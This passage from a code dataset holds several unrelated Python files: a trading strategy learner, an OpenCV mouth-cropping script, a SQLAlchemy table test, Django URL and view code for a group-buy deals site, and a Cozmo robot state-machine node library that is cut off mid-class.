-1000\n current_holding -= 1000\n elif current_holding == 1000:\n df_trades.values[i, :] = -2000\n current_holding -= 2000\n elif current_holding == -1000:\n df_trades.values[i, :] = 0\n\n # HOLD the Stock\n elif testY[i] == 0:\n if current_holding == 1000:\n df_trades.values[i, :] = -1000\n current_holding -= 1000\n elif current_holding == -1000:\n df_trades.values[i, :] = 1000\n current_holding += 1000\n elif current_holding == 0:\n df_trades.values[i, :] = 0\n\n if current_holding == -1000:\n df_trades.values[prices.shape[0] - 1, :] = 1000\n elif current_holding == 1000:\n df_trades.values[prices.shape[0] - 1, :] = -1000\n\n if self.verbose: print(\n type(df_trades)) # it better be a DataFrame!\n if self.verbose: print(df_trades)\n if self.verbose: print(prices_all)\n\n return df_trades\n\n def author(self):\n return 'dmehta32'\n\n\nif __name__ == \"__main__\":\n print(\"One does not simply think up a strategy\")\n","sub_path":"ML4T_2019Fall/strategy_learner/StrategyLearner.py","file_name":"StrategyLearner.py","file_ext":"py","file_size_in_byte":7927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"450896310","text":"import numpy as np\nimport cv2\nimport os\n\n# USER INPUT\nfiledir = \"/homes/mat10/Programming/OpenCV/frames/\"\nsavedir = \"/homes/mat10/Programming/OpenCV/frames/mouths/\"\nfiles = 'all'#'['frame0.jpg'] # put all files in list, if all files are needed write: files = 'all'\n\n\n# PROGRAM\nif not os.path.isdir(savedir):\n print(\"save_directory does not exist\")\n print(\"making save_directory: %s\" % savedir)\n os.mkdir(savedir)\n\nif files == 'all':\n files = [file for file in os.listdir(filedir) if file[-3:] == 'jpg']\n\nface_cascade = cv2.CascadeClassifier(\n '/homes/mat10/Programming/OpenCV/haarcascade_frontalface_default.xml')\nmouth_cascade = cv2.CascadeClassifier(\n '/homes/mat10/Programming/OpenCV/haarcascade_mcs_mouth.xml')\n\n#file = files[0]\nfor i, file in enumerate(files):\n\n img = cv2.imread(filedir + file, 0)\n # gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # First detect face - assuming a single face\n faces = face_cascade.detectMultiScale(img, 1.3, 5)\n x, y, w, h = faces[0]\n # cv2.rectangle(gray, (x, y), (x+w, y+h), (0, 255, 0), 3)\n roi_face = img[y:y+h, x:x+w]\n\n # Then detect mouth\n mouth = mouth_cascade.detectMultiScale(roi_face, minNeighbors=100, maxSize=(100, 100))\n ex, ey, ew, eh = mouth[0]\n # cv2.rectangle(roi_face, (ex, ey), (ex+ew, ey+eh) , (0, 255, 0), 1)\n roi_mouth = roi_face[ey:ey+eh, ex:ex+ew]\n\n cv2.imwrite(savedir + \"mouth%d.jpg\" % i, roi_mouth)\n\n # Not fully automated yet!!!\n\n # cv2.imshow('img', roi_mouth)\n # cv2.waitKey(0)\n # cv2.destroyAllWindows()\n","sub_path":"frame2mouth.py","file_name":"frame2mouth.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"559748167","text":"from sqlalchemy import MetaData\n\nimport pytest\n\nfrom acondbs import create_app\nfrom acondbs.db.ops import define_tables\nfrom acondbs.db.sa import sa\n\n##__________________________________________________________________||\n@pytest.fixture\ndef app_with_empty_db():\n database_uri =\"sqlite:///:memory:\"\n app = create_app(SQLALCHEMY_DATABASE_URI=database_uri)\n yield app\n\n##__________________________________________________________________||\ndef test_define_tables_start_with_empty_db(app_with_empty_db):\n \"\"\"test define_tables()\n\n This function tests if tables will be defined starting from new db without\n any tables.\n\n \"\"\"\n\n app = app_with_empty_db\n\n # confirm tables are not defined initially\n with app.app_context():\n metadata = MetaData()\n metadata.reflect(bind=sa.engine)\n assert not metadata.tables\n\n with app.app_context():\n define_tables()\n\n with app.app_context():\n metadata = MetaData()\n metadata.reflect(bind=sa.engine)\n tbl_names = {\n 'simulations', 'simulation_file_paths',\n 'maps', 'map_file_paths',\n 'beams', 'beam_file_paths'\n }\n assert tbl_names == metadata.tables.keys()\n\n##__________________________________________________________________||\ndef test_define_tables_start_with_nonempty_db(app):\n \"\"\"test define_tables()\n\n This function tests if tables will be redefined starting from db\n with tables with entries.\n\n \"\"\"\n\n # confirm tables are defined initially and not empty\n with app.app_context():\n metadata = MetaData()\n metadata.reflect(bind=sa.engine)\n assert metadata.tables\n total_nentries = sum([len([r for r in\n sa.engine.execute(tbl.select())]) for tbl in\n metadata.sorted_tables])\n assert total_nentries > 0\n\n with app.app_context():\n define_tables()\n\n # confirm tables are defined and all empty\n with app.app_context():\n metadata = MetaData()\n metadata.reflect(bind=sa.engine)\n tbl_names = {\n 'simulations', 'simulation_file_paths',\n 'maps', 'map_file_paths',\n 'beams', 'beam_file_paths'\n }\n assert tbl_names == metadata.tables.keys()\n total_nentries = sum([len([r for r in\n sa.engine.execute(tbl.select())]) for tbl in\n metadata.sorted_tables])\n assert total_nentries == 0\n\n##__________________________________________________________________||\n","sub_path":"tests/db/ops/test_define_tables.py","file_name":"test_define_tables.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"208294776","text":"\"\"\"\nDefinition of urls for TheoWebsiteAssignment.\n\"\"\"\n\nfrom datetime import datetime\nfrom django.conf.urls import url\nimport django.contrib.auth.views\n\nimport app.forms\nimport app.views\n\n# Uncomment the next lines to enable the admin:\nfrom django.conf.urls import include\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = [\n # Club url:\n url(r'^clubs$', app.views.clubs, name='clubs'),\n url(r'^clubs/create$', app.views.clubcreate, name='clubcreate'),\n url(r'^clubs/(?P\\d+)$', app.views.clubdetails, name='clubdetails'),\n url(r'^clubs/delete/(?P\\d+)$', app.views.clubdelete, name='clubdelete'),\n\n #Team url:\n url(r'^teams$', app.views.teams, name='teams'),\n url(r'^teams/create$', app.views.teamcreate, name='teamcreate'),\n url(r'^teams/(?P\\d+)$', app.views.teamdetails, name='teamdetails'),\n url(r'^teams/delete/(?P\\d+)$', app.views.teamdelete, name='teamdelete'),\n\n #Player url:\n url(r'^players$', app.views.players, name='players'),\n url(r'^players/create$', app.views.playercreate, name='playercreate'),\n url(r'^players/(?P\\d+)$', app.views.playerdetails, name='playerdetails'),\n url(r'^players/delete/(?P\\d+)$', app.views.playerdelete, name='playerdelete'),\n\n #Generic url\n url(r'^$', app.views.home, name='home'),\n url(r'^login/$',\n django.contrib.auth.views.login,\n {\n 'template_name': 'app/login.html',\n 'authentication_form': app.forms.BootstrapAuthenticationForm,\n 'extra_context':\n {\n 'title': 'Log in',\n 'year': datetime.now().year,\n }\n },\n name='login'),\n url(r'^logout$',\n django.contrib.auth.views.logout,\n {\n 'next_page': '/',\n },\n name='logout'),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n url(r'^admin/', include(admin.site.urls)),\n]\n","sub_path":"TheoWebsiteAssignment/TheoWebsiteAssignment/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"644387847","text":"# -*-coding:utf-8-*-\n\nimport datetime\nfrom django.shortcuts import render_to_response\n\nimport models\n\nDEFAULT_COUNT_PER_PAGE = 30\nPAGE_BAD = 0\nPAGE_1ST = 1\nDEFAULT_PAGE = PAGE_1ST\nCATEGORY_ALL = 0\nDEFAULT_CATEGORY = CATEGORY_ALL\nMAX_TITLE_LEN = 75\n\ndef tuan_city_category_page(request, city, category, page):\n \"\"\"\n \"\"\"\n try:\n category = int(category)\n except ValueError:\n category = DEFAULT_CATEGORY\n \n try:\n page = int(page)\n except ValueError:\n page = DEFAULT_CATEGORY\n if page < PAGE_1ST: page = PAGE_1ST\n count = DEFAULT_COUNT_PER_PAGE\n deals = None\n if category == 0:\n deals = models.Deal.objects.filter(city=city)\n else:\n deals = models.Deal.objects.filter(city=city, category=category)\n deals = deals.filter(time_end__gte=datetime.datetime.now()).order_by('-rank')\n total = deals.count()\n if total != 0:\n deals = deals[ (page - 1) * count : (page - 1) * count + count]\n max_page = (total / count) + ( (total % count > 0) and 1 or 0 )\n next_page = (page < max_page) and page + 1 or PAGE_BAD\n prev_page = (page > PAGE_1ST) and (page - 1) or PAGE_BAD\n for deal in deals:\n if len(deal.title) <= MAX_TITLE_LEN:\n deal.title_short = deal.title\n else:\n deal.title_short = deal.title[:MAX_TITLE_LEN] + unicode('…','utf-8') #'...'\n site = models.Site.objects.filter(site=deal.site)\n if site.count() == 1:\n deal.site_name = site[0].name\n site_city = models.SiteCity.objects.filter(site=deal.site,city=deal.city)\n if site_city.count() == 1:\n deal.site_url = site_city[0].url\n else:\n deal.site_url = site[0].url\n else:\n deal.site_name = ''\n # 获取城市名称\n city_name = city\n city_query = models.City.objects.filter(city=city)\n if city_query.count() == 1:\n city_name = city_query[0].name\n # 获取团购网站列表\n site = models.Site.objects.all()\n return render_to_response('tuan.html', locals())\n\ndef tuan_city_category(request, city, category):\n return tuan_city_category_page(request, city, category, DEFAULT_PAGE)\n\ndef tuan_city_page(request, city, page):\n return tuan_city_category_page(request, city, DEFAULT_CATEGORY, page)\n\ndef tuan_city(request, city):\n return tuan_city_page(request, city, DEFAULT_PAGE)\n\ndef tuan_page(request, page):\n return tuan_city_page(request, 'shenzhen', page)\n\ndef tuan(request):\n return tuan_page(request, DEFAULT_PAGE)\n\n\n","sub_path":"ip469/tuan/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"97998020","text":"import time\nimport inspect\nimport random\nfrom math import sqrt, sin, asin\n\nimport cozmo\nfrom cozmo.util import distance_mm, speed_mmps, degrees, Distance, Angle\n\nfrom .base import *\nfrom .events import *\nfrom .cozmo_kin import wheelbase\n\n#________________ Ordinary Nodes ________________\n\nclass ParentCompletes(StateNode):\n def start(self,event=None):\n super().start(event)\n if TRACE.trace_level > TRACE.statenode_startstop:\n print('TRACE%d:' % TRACE.statenode_startstop,\n '%s is causing %s to complete' % (self, self.parent))\n if self.parent:\n self.parent.post_completion()\n\nclass ParentSucceeds(StateNode):\n def start(self,event=None):\n super().start(event)\n if TRACE.trace_level > TRACE.statenode_startstop:\n print('TRACE%d:' % TRACE.statenode_startstop,\n '%s is causing %s to succeed' % (self, self.parent))\n if self.parent:\n self.parent.post_success()\n\nclass ParentFails(StateNode):\n def start(self,event=None):\n super().start(event)\n if TRACE.trace_level > TRACE.statenode_startstop:\n print('TRACE%d:' % TRACE.statenode_startstop,\n '%s is causing %s to fail' % (self, self.parent))\n if self.parent:\n self.parent.post_failure()\n\nclass Iterate(StateNode):\n \"\"\"Iterates over an iterable, posting DataEvents. Completes when done.\"\"\"\n def __init__(self,iterable=None):\n super().__init__()\n self.iterable = iterable\n\n class NextEvent(Event): pass\n\n def start(self,event=None):\n if self.running: return\n super().start(event)\n if isinstance(event, DataEvent):\n self.iterable = event.data\n if isinstance(self.iterable, int):\n self.iterable = range(self.iterable)\n if self.iterable is None:\n raise ValueError('~s has nothing to iterate on.' % repr(self))\n if not isinstance(event, self.NextEvent):\n self.iterator = self.iterable.__iter__()\n try:\n value = next(self.iterator)\n except StopIteration:\n self.post_completion()\n return\n self.post_data(value)\n\nclass MoveLift(StateNode):\n def __init__(self,speed):\n super().__init__()\n self.speed = speed\n\n def start(self,event=None):\n if self.running: return\n super().start(event)\n # Temporary hack supplied by Mark Wesley at Anki\n msg = cozmo._clad._clad_to_engine_iface.EnableLiftPower(True)\n self.robot.conn.send_msg(msg)\n self.robot.move_lift(self.speed)\n\n def stop(self):\n if not self.running: return\n self.robot.move_lift(0)\n super().stop()\n\nclass RelaxLift(StateNode):\n def start(self,event=None):\n if self.running: return\n super().start(event)\n # Temporary hack supplied by Mark Wesley at Anki\n msg = cozmo._clad._clad_to_engine_iface.EnableLiftPower(False)\n self.robot.conn.send_msg(msg)\n\nclass SetLights(StateNode):\n def __init__(self, object, light):\n super().__init__()\n self.object = object\n self.light = light\n\n def start(self,event=None):\n super().start(event)\n if self.object is not self.robot:\n self.object.set_lights(self.light)\n else:\n if self.light.on_color.int_color & 0x00FFFF00 == 0: # no green or blue component\n self.robot.set_all_backpack_lights(self.light)\n else:\n self.robot.set_backpack_lights_off()\n self.robot.set_center_backpack_lights(self.light)\n self.post_completion()\n\n#________________ Coroutine Nodes ________________\n\nclass CoroutineNode(StateNode):\n def __init__(self):\n super().__init__()\n self.handle = None\n\n def start(self,event=None):\n super().start(event)\n cor = self.coroutine_launcher()\n if inspect.iscoroutine(cor):\n self.handle = self.robot.loop.create_task(cor)\n else:\n print('cor=',cor,'type=',type(cor))\n raise ValueError(\"Result of %s launch_couroutine() is %s, not a coroutine.\" %\n (self,cor))\n\n def coroutine_launcher(self):\n raise Exception('%s lacks a coroutine_launcher() method' % self)\n \n def stop(self):\n if not self.running: return\n if self.handle: self.handle.cancel()\n super().stop()\n\n\nclass DriveWheels(CoroutineNode):\n def __init__(self,l_wheel_speed,r_wheel_speed,**kwargs):\n super().__init__()\n self.l_wheel_speed = l_wheel_speed\n self.r_wheel_speed = r_wheel_speed\n self.kwargs = kwargs\n\n def start(self,event=None):\n if (isinstance(event,DataEvent) and isinstance(event.data,(list,tuple)) and\n len(event.data) == 2):\n (lspeed,rspeed) = event.data\n if isinstance(lspeed,(int,float)) and isinstance(rspeed,(int,float)):\n self.l_wheel_speed = lspeed\n self.r_wheel_speed = rspeed\n super().start(event)\n\n def coroutine_launcher(self):\n return self.robot.drive_wheels(self.l_wheel_speed,self.r_wheel_speed,**self.kwargs)\n\n def stop_wheels(self):\n try:\n driver = self.robot.drive_wheels(0,0)\n # driver is either a co-routine or None\n if driver: driver.send(None) # will raise StopIteration\n except StopIteration: pass\n\n def stop(self):\n if not self.running: return\n self.stop_wheels()\n super().stop() \n\n\nclass DriveForward(DriveWheels):\n def __init__(self, distance=50, speed=50, **kwargs):\n if isinstance(distance, cozmo.util.Distance):\n distance = distance.distance_mm\n if isinstance(speed, cozmo.util.Speed):\n speed = speed.speed_mmps\n if distance < 0:\n distance = -distance\n speed = -speed\n self.distance = distance\n self.speed = speed\n self.kwargs = kwargs\n super().__init__(speed,speed,**self.kwargs)\n self.polling_interval = 0.1\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, DataEvent) and isinstance(event.data, cozmo.util.Distance):\n self.distance = event.data.distance_mm\n self.start_position = self.robot.pose.position\n super().start(event)\n\n def poll(self):\n \"\"\"See how far we've traveled\"\"\"\n p0 = self.start_position\n p1 = self.robot.pose.position\n diff = (p1.x - p0.x, p1.y - p0.y)\n dist = sqrt(diff[0]*diff[0] + diff[1]*diff[1])\n if dist >= self.distance:\n self.poll_handle.cancel()\n self.stop_wheels()\n self.post_completion()\n\nclass DriveTurn(DriveWheels):\n def __init__(self, angle=90, speed=50, **kwargs):\n if isinstance(angle, cozmo.util.Angle):\n angle = angle.degrees\n if isinstance(speed, cozmo.util.Speed):\n speed = speed.speed_mmps\n if angle < 0:\n speed = -speed\n self.angle = angle\n self.speed = speed\n self.kwargs = kwargs\n super().__init__(-speed,speed,**self.kwargs)\n # Call parent init before setting polling interval.\n self.polling_interval = 0.05\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, DataEvent) and isinstance(event.data, cozmo.util.Angle):\n self.angle = event.data.degrees\n super().start(event)\n self.last_heading = self.robot.pose.rotation.angle_z.degrees\n self.traveled = 0\n\n def poll(self):\n \"\"\"See how far we've traveled\"\"\"\n p0 = self.last_heading\n p1 = self.robot.pose.rotation.angle_z.degrees\n self.last_heading = p1\n # Assume we're polling quickly enough that diff will be small;\n # typically only about 1 degree. So diff will be large only\n # if the heading has passed through 360 degrees since the last\n # call to poll(). Use 90 degrees as an arbitrary large threshold.\n diff = p1 - p0\n if diff < -90.0:\n diff += 360.0\n elif diff > 90.0:\n diff -= 360.0\n self.traveled += diff\n if abs(self.traveled) > abs(self.angle):\n self.poll_handle.cancel()\n self.stop_wheels()\n self.post_completion()\n\n\nclass DriveArc(DriveWheels):\n \"\"\"Negative radius means right turn; negative angle means drive\n backwards. This node can be passed a DataEvent with a dict\n containing any of the arguments accepted by __init__: radius,\n angle, distance, speed, and angspeed. Values must already be in\n the appropriate units (degrees, mm, deg/sec, or mm/sec).\"\"\"\n def __init__(self, radius=0, angle=0, distance=None,\n speed=None, angspeed=None, **kwargs):\n if isinstance(radius, cozmo.util.Distance):\n radius = radius.distance_mm\n if isinstance(angle, cozmo.util.Angle):\n angle = angle.degrees\n if isinstance(speed, cozmo.util.Speed):\n speed = speed.speed_mmps\n if isinstance(angspeed, cozmo.util.Angle):\n angspeed = angspeed.degrees\n self.calculate_wheel_speeds(radius, angle, distance, speed, angspeed)\n super().__init__(self.l_wheel_speed, self.r_wheel_speed, **kwargs)\n # Call parent init before setting polling interval.\n self.polling_interval = 0.05\n\n def calculate_wheel_speeds(self, radius=0, angle=None, distance=None,\n speed=None, angspeed=None):\n if radius != 0:\n if angle is not None:\n pass\n elif distance is not None:\n angle = self.dist2ang(distance, radius)\n else:\n raise ValueError('DriveArc requires an angle or distance.')\n\n if speed is not None:\n pass\n elif angspeed is not None:\n speed = self.ang2dist(angspeed, radius)\n else:\n speed = 40 # degrees/second\n if angle < 0:\n speed = - speed\n\n self.angle = angle\n self.l_wheel_speed = speed * (1 - wheelbase / radius)\n self.r_wheel_speed = speed * (1 + wheelbase / radius)\n\n else: # radius is 0\n if angspeed is None:\n angspeed = 40 # degrees/second\n s = angspeed\n if angle < 0:\n s = -s\n self.angle = angle\n self.l_wheel_speed = -s\n self.r_wheel_speed = s\n\n def ang2dist(self, angle, radius):\n return (angle / 360) * 2 * pi * abs(radius)\n\n def dist2ang(self, distance, radius):\n return (distance / abs(2 * pi * radius)) * 360\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event,DataEvent) and isinstance(event.data,dict):\n self.calculate_wheel_speeds(**event.data)\n self.last_heading = self.robot.pose.rotation.angle_z.degrees\n self.traveled = 0\n super().start(event)\n\n def poll(self):\n \"\"\"See how far we've traveled\"\"\"\n p0 = self.last_heading\n p1 = self.robot.pose.rotation.angle_z.degrees\n self.last_heading = p1\n # Assume we're polling quickly enough that diff will be small;\n # typically only about 1 degree. So diff will be large only\n # if the heading has passed through 360 degrees since the last\n # call to poll(). Use 90 degrees as an arbitrary large threshold.\n diff = p1 - p0\n if diff < -90.0:\n diff += 360.0\n elif diff > 90.0:\n diff -= 360.0\n self.traveled += diff\n\n if abs(self.traveled) > abs(self.angle):\n self.poll_handle.cancel()\n self.stop_wheels()\n self.post_completion()\n\n\n#________________ Action Nodes ________________\n\nclass ActionNode(StateNode):\n relaunch_delay = 0.050 # 50 milliseconds\n\n def __init__(self, abort_on_stop=True):\n \"\"\"Call this method only after the subclass __init__ has set\n up self.action_kwargs\"\"\"\n self.abort_on_stop = abort_on_stop\n super().__init__()\n if 'in_parallel' not in self.action_kwargs:\n self.action_kwargs['in_parallel'] = True\n if 'num_retries' not in self.action_kwargs:\n self.action_kwargs['num_retries'] = 2\n self.cozmo_action_handle = None\n\n def start(self,event=None):\n super().start(event)\n self.retry_count = 0\n self.launch_or_retry()\n\n def launch_or_retry(self):\n try:\n result = self.action_launcher()\n except cozmo.exceptions.RobotBusy:\n if TRACE.trace_level >= TRACE.statenode_startstop:\n print('TRACE%d:' % TRACE.statenode_startstop, self, 'launch_action raised RobotBusy')\n self.handle = self.robot.loop.call_later(self.relaunch_delay, self.launch_or_retry)\n return\n if isinstance(result, cozmo.action.Action):\n self.cozmo_action_handle = result\n else:\n raise ValueError(\"Result of %s launch_action() is %s, not a cozmo.action.Action.\" %\n (self,result))\n self.post_when_complete()\n\n def action_launcher(self):\n raise Exception('%s lacks an action_launcher() method' % self)\n \n def post_when_complete(self):\n self.robot.loop.create_task(self.wait_for_completion())\n\n async def wait_for_completion(self):\n async_task = self.cozmo_action_handle.wait_for_completed()\n await async_task\n if TRACE.trace_level >= TRACE.await_satisfied:\n print('TRACE%d:' % TRACE.await_satisfied, self,\n 'await satisfied:', self.cozmo_action_handle)\n # check status for 'completed'; if not, schedule relaunch or post failure\n if self.running:\n if self.cozmo_action_handle.state == 'action_succeeded':\n self.post_completion()\n elif self.cozmo_action_handle.failure_reason[0] == 'cancelled':\n print('CANCELLED: ***>',self,self.cozmo_action_handle)\n self.post_completion()\n elif self.cozmo_action_handle.failure_reason[0] == 'retry':\n if self.retry_count < self.action_kwargs['num_retries']:\n print(\"*** ACTION %s FAILED WITH CODE 'retry': TRYING AGAIN\" %\n self.cozmo_action_handle)\n self.retry_count += 1\n self.launch_or_retry()\n else:\n print(\"*** RETRY COUNT EXCEEDED: FAILING\")\n self.post_failure(self.cozmo_action_handle)\n else:\n print(\"*** ACTION %s FAILED AND CAN'T BE RETRIED.\" %\n self.cozmo_action_handle)\n self.post_failure(self.cozmo_action_handle)\n\n def stop(self):\n if not self.running: return\n if self.cozmo_action_handle and self.abort_on_stop and \\\n self.cozmo_action_handle.is_running:\n self.cozmo_action_handle.abort()\n super().stop()\n\n\nclass Say(ActionNode):\n \"\"\"Speaks some text, then posts a completion event.\"\"\"\n\n class SayDataEvent(Event):\n def __init__(self,text=None):\n self.text = text\n \n def __init__(self, text=\"I'm speechless\",\n abort_on_stop=False, **action_kwargs):\n self.text = text\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop)\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, self.SayDataEvent):\n utterance = event.text\n else:\n utterance = self.text\n if isinstance(utterance, (list,tuple)):\n utterance = random.choice(utterance)\n if not isinstance(utterance, str):\n utterance = repr(utterance)\n self.utterance = utterance\n super().start(event)\n print(\"Speaking: '\",utterance,\"'\",sep='')\n\n def action_launcher(self):\n return self.robot.say_text(self.utterance, **self.action_kwargs)\n\n\nclass Forward(ActionNode):\n \"\"\" Moves forward a specified distance. Can accept a Distance as a Dataevent.\"\"\"\n def __init__(self, distance=distance_mm(50),\n speed=speed_mmps(50), abort_on_stop=True, **action_kwargs):\n if isinstance(distance, (int,float)):\n distance = distance_mm(distance)\n elif not isinstance(distance, cozmo.util.Distance):\n raise ValueError('%s distance must be a number or a cozmo.util.Distance' % self)\n if isinstance(speed, (int,float)):\n speed = speed_mmps(speed)\n elif not isinstance(speed, cozmo.util.Speed):\n raise ValueError('%s speed must be a number or a cozmo.util.Speed' % self)\n self.distance = distance\n self.speed = speed\n if 'should_play_anim' not in action_kwargs:\n action_kwargs['should_play_anim'] = False\n self.action_kwargs = action_kwargs\n # super's init must come last because it checks self.action_kwargs\n super().__init__(abort_on_stop)\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, DataEvent) and isinstance(event.data, cozmo.util.Distance):\n self.distance = event.data\n super().start(event)\n\n def action_launcher(self):\n return self.robot.drive_straight(self.distance, self.speed,\n **self.action_kwargs)\n\n\nclass Turn(ActionNode):\n \"\"\"Turns by a specified angle. Can accept an Angle as a DataEvent.\"\"\"\n def __init__(self, angle=degrees(90), abort_on_stop=True, **action_kwargs):\n if isinstance(angle, (int,float)):\n angle = degrees(angle)\n elif not isinstance(angle, cozmo.util.Angle):\n raise ValueError('%s angle must be a number or a cozmo.util.Angle' % self)\n self.angle = angle\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop)\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, DataEvent) and isinstance(event.data, cozmo.util.Angle):\n self.angle = event.data\n super().start(event)\n\n def action_launcher(self):\n return self.robot.turn_in_place(self.angle, **self.action_kwargs)\n\nclass GoToPose(ActionNode):\n def __init__(self, pose, abort_on_stop=True, **action_kwargs):\n self.pose = pose\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop)\n\n def action_launcher(self):\n return self.robot.go_to_pose(self.pose, **self.action_kwargs)\n\nclass SetHeadAngle(ActionNode):\n def __init__(self, angle=degrees(0), abort_on_stop=True, **action_kwargs):\n if isinstance(angle, (int,float)):\n angle = degrees(angle)\n elif not isinstance(angle, cozmo.util.Angle):\n raise ValueError('%s angle must be a number or a cozmo.util.Angle' % self)\n self.angle = angle\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop)\n\n def action_launcher(self):\n return self.robot.set_head_angle(self.angle, **self.action_kwargs)\n\nclass SetLiftHeight(ActionNode):\n def __init__(self, height=0, abort_on_stop=True, **action_kwargs):\n self.height = height\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop)\n\n def action_launcher(self):\n # Temporary hack supplied by Mark Wesley at Anki\n msg = cozmo._clad._clad_to_engine_iface.EnableLiftPower(True)\n self.robot.conn.send_msg(msg)\n return self.robot.set_lift_height(self.height, **self.action_kwargs)\n\nclass SetLiftAngle(SetLiftHeight):\n def __init__(self, angle, abort_on_stop=True, **action_kwargs):\n def get_theta(height):\n return asin((height-45)/66)\n if isinstance(angle, cozmo.util.Angle):\n angle = angle.radians\n min_theta = get_theta(cozmo.robot.MIN_LIFT_HEIGHT_MM)\n max_theta = get_theta(cozmo.robot.MAX_LIFT_HEIGHT_MM)\n angle_range = max_theta - min_theta\n height_pct = (angle - min_theta) / angle_range\n super().__init__(height_pct, abort_on_stop=abort_on_stop, **action_kwargs)\n\n\nclass PickUpObject(ActionNode):\n def __init__(self, object=None, abort_on_stop=False, **action_kwargs):\n self.object = object\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop=abort_on_stop)\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, DataEvent) and \\\n isinstance(event.data,cozmo.objects.LightCube):\n self.object = event.data\n super().start(event)\n\n def action_launcher(self):\n if self.object is None:\n raise ValueError('No object to pick up')\n return self.robot.pickup_object(self.object, **self.action_kwargs)\n\nclass PlaceObjectOnGroundHere(ActionNode):\n def __init__(self, object=None, abort_on_stop=False, **action_kwargs):\n self.object = object\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop=abort_on_stop)\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, DataEvent) and \\\n isinstance(event.data,cozmo.objects.LightCube):\n self.object = event.data\n super().start(event)\n\n def action_launcher(self):\n if self.object is None:\n raise ValueError('No object to place')\n return self.robot.place_object_on_ground_here(self.object, **self.action_kwargs)\n\nclass PlaceOnObject(ActionNode):\n def __init__(self, object=None, abort_on_stop=False, **action_kwargs):\n self.object = object\n self.action_kwargs = action_kwargs\n super().__init__(abort_on_stop=abort_on_stop)\n\n def start(self,event=None):\n if self.running: return\n if isinstance(event, DataEvent) and \\\n isinstance(event.data,cozmo.objects.LightCube):\n self.object = event.data\n super().start(event)\n\n def action_launcher(self):\n if self.object is None:\n raise ValueError('No object to place')\n return self.robot.place_on_object(self.object, **self.action_kwargs)\n\n\n\n#________________ Animations ________________\n\nclass AnimationNode(ActionNode):\n def __init__(self, anim_name='anim_bored_01', **kwargs):\n self.anim_name = anim_name\n self.action_kwargs = kwargs\n super().__init__()\n\n def action_launcher(self):\n return self.robot.play_anim(self.anim_name)\n\nclass AnimationTriggerNode(ActionNode):\n def __init__(self, trigger=cozmo.anim.Triggers.CubePouncePounceNormal, **kwargs):\n if not isinstance(trigger, cozmo.anim._AnimTrigger):\n raise TypeError('%s is not an instance of cozmo.anim._AnimTrigger' %\n repr(trigger))\n self.trigger = trigger\n self.action_kwargs = kwargs\n super().__init__()\n\n def action_launcher(self):\n return self.robot.play_anim_trigger(self.trigger)\n\n#________________ Behaviors ________________\n\nclass StartBehavior(StateNode):\n def __init__(self, behavior=None, stop_on_exit=True):\n if not isinstance(behavior, cozmo.behavior._BehaviorType):\n raise ValueError(\"'%s' isn't an instance of cozmo.behavior._BehaviorType\" %\n repr(behavior))\n self.behavior = behavior\n self.behavior_handle = None\n self.stop_on_exit = stop_on_exit\n super().__init__()\n\n def __repr__(self):\n if self.behavior_handle:\n return '<%s %s active=%s>' % \\\n (self.__class__.__name__, self.name, self.behavior_handle.is_active)\n else:\n return super().__repr__() \n\n def start(self,event=None):\n if self.running: return\n super().start(event)\n try:\n if self.robot.behavior_handle:\n self.robot.behavior_handle.stop()\n except: pass\n finally:\n self.robot.behavior_handle = None\n self.behavior_handle = self.robot.start_behavior(self.behavior)\n self.robot.behavior_handle = self.behavior_handle\n self.post_completion()\n\n def stop(self):\n if not self.running: return\n if self.stop_on_exit and self.behavior_handle is self.robot.behavior_handle:\n self.robot.behavior_handle.stop()\n self.robot.behavior_handle = None\n super().stop()\n\nclass StopBehavior(StateNode):\n def start(self,event=None):\n if self. running: return\n super().start(event)\n try:\n if self.robot.behavior_handle:\n self.robot.behavior_handle.stop()\n except: pass\n self.robot.behavior_handle = None\n self.post_completion()\n\nclass FindFaces(StartBehavior):\n def __init__(self,stop_on_exit=True):\n super().__init__(cozmo.robot.behavior.BehaviorTypes.FindFaces,stop_on_exit)\n\nclass KnockOverCubes(StartBehavior):\n def __init__(self,stop_on_exit=True):\n super().__init__(cozmo.robot.behavior.BehaviorTypes.KnockOverCubes,stop_on_exit)\n\nclass LookAroundInPlace(StartBehavior):\n def __init__(self,stop_on_exit=True):\n super().__init__(cozmo.robot.behavior.BehaviorTypes.LookAroundInPlace,stop_on_exit)\n\nclass PounceOnMotion(StartBehavior):\n def __init__(self,stop_on_exit=True):\n super().__init__(cozmo.robot.behavior.BehaviorTypes.PounceOnMotion,stop_on_exit)\n\nclass RollBlock(StartBehavior):\n def __init__(self,stop_on_exit=True):\n super().__init__(cozmo.robot.behavior.BehaviorTypes.RollBlock,stop_on_exit)\n\nclass StackBlocks(StartBehavior):\n def __init__(self,stop_on_exit=True):\n 